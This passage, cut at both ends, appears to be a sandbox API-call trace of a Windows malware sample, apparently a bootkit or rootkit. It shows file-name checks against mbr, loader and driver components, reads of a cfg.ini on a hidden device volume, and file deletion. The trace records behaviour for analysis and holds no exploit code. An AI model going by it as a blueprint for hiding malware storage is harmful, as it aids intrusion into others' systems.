Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] KeLeaveCriticalRegion () [0123.658] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.658] KeEnterCriticalRegion () [0123.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.658] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] KeLeaveCriticalRegion () [0123.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.658] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.658] KeEnterCriticalRegion () [0123.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] ExFreePoolWithTag (P=0xfffffa8003bec870, Tag=0x0) [0123.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] KeLeaveCriticalRegion () [0123.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.658] ReleaseMutex (hMutex=0xf0) returned 1 [0123.658] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.658] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.658] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.658] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.659] KeEnterCriticalRegion () [0123.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.659] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.659] IdePortDispatch () returned 0x103 [0123.659] KeWaitForMutexObject () returned 0x0 [0123.659] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.659] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.659] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.659] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.659] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.659] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.659] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.659] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.659] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.659] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.659] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.659] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.659] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.659] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.659] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.659] KeLeaveCriticalRegion () [0123.659] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.659] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.659] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.659] KeEnterCriticalRegion () [0123.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.659] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.659] IdePortDispatch () returned 0x103 [0123.659] KeWaitForMutexObject () returned 0x0 [0123.660] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.660] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.660] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.660] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.660] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.660] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.660] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.660] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.660] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.660] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.660] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.660] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.660] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.660] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.660] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.660] KeLeaveCriticalRegion () [0123.660] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.660] ReleaseMutex (hMutex=0x100) returned 1 [0123.660] Sleep (dwMilliseconds=0x2bf20) [0123.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ce74b70, dwHighDateTime=0x1d24fa4)) [0123.666] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.666] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.666] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.666] KeEnterCriticalRegion () [0123.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.666] IdePortDispatch () returned 0x103 [0123.666] KeWaitForMutexObject () returned 0x0 [0123.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.667] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.667] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.667] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.667] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.667] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedc60 [0123.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] KeLeaveCriticalRegion () [0123.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.667] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.667] KeEnterCriticalRegion () [0123.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] KeLeaveCriticalRegion () [0123.667] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.667] KeEnterCriticalRegion () [0123.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.667] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.667] IdePortDispatch () returned 0x103 [0123.667] KeWaitForMutexObject () returned 0x0 [0123.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] KeLeaveCriticalRegion () [0123.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.667] KeEnterCriticalRegion () [0123.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f0000 [0123.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.668] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.668] IdePortDispatch () returned 0x103 [0123.668] KeWaitForMutexObject () returned 0x0 [0123.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.668] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.668] IdePortDispatch () returned 0x103 [0123.668] KeWaitForMutexObject () returned 0x0 [0123.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.668] KeLeaveCriticalRegion () [0123.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.669] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.669] KeEnterCriticalRegion () [0123.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] KeLeaveCriticalRegion () [0123.669] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.669] KeEnterCriticalRegion () [0123.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.669] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] KeLeaveCriticalRegion () [0123.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.669] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.669] KeEnterCriticalRegion () [0123.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] ExFreePoolWithTag (P=0xfffffa8003bedc60, Tag=0x0) [0123.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] KeLeaveCriticalRegion () [0123.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.669] ReleaseMutex (hMutex=0xf0) returned 1 [0123.669] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.669] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.669] KeEnterCriticalRegion () [0123.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.669] IdePortDispatch () returned 0x103 [0123.669] KeWaitForMutexObject () returned 0x0 [0123.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.669] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.669] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.669] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.670] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.670] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed900 [0123.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] KeLeaveCriticalRegion () [0123.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.670] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.670] KeEnterCriticalRegion () [0123.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] KeLeaveCriticalRegion () [0123.670] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.670] KeEnterCriticalRegion () [0123.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.670] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.670] IdePortDispatch () returned 0x103 [0123.670] KeWaitForMutexObject () returned 0x0 [0123.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] KeLeaveCriticalRegion () [0123.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.670] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.670] KeEnterCriticalRegion () [0123.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f1000 [0123.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.670] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.670] IdePortDispatch () returned 0x103 [0123.670] KeWaitForMutexObject () returned 0x0 [0123.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.671] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.671] IdePortDispatch () returned 0x103 [0123.671] KeWaitForMutexObject () returned 0x0 [0123.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.671] KeLeaveCriticalRegion () [0123.671] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.671] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.671] KeEnterCriticalRegion () [0123.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.671] KeLeaveCriticalRegion () [0123.671] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.672] KeEnterCriticalRegion () [0123.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.672] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] KeLeaveCriticalRegion () [0123.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.672] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.672] KeEnterCriticalRegion () [0123.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] ExFreePoolWithTag (P=0xfffffa8003bed900, Tag=0x0) [0123.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] KeLeaveCriticalRegion () [0123.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.672] ReleaseMutex (hMutex=0xf0) returned 1 [0123.672] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.672] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.672] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.672] KeEnterCriticalRegion () [0123.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.672] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.672] IdePortDispatch () returned 0x103 [0123.672] KeWaitForMutexObject () returned 0x0 [0123.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.672] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.672] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.672] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.672] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.672] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.672] KeLeaveCriticalRegion () [0123.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.672] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.672] KeEnterCriticalRegion () [0123.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.673] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.673] KeLeaveCriticalRegion () [0123.673] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.673] KeEnterCriticalRegion () [0123.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.673] MmProbeAndLockPages (in: 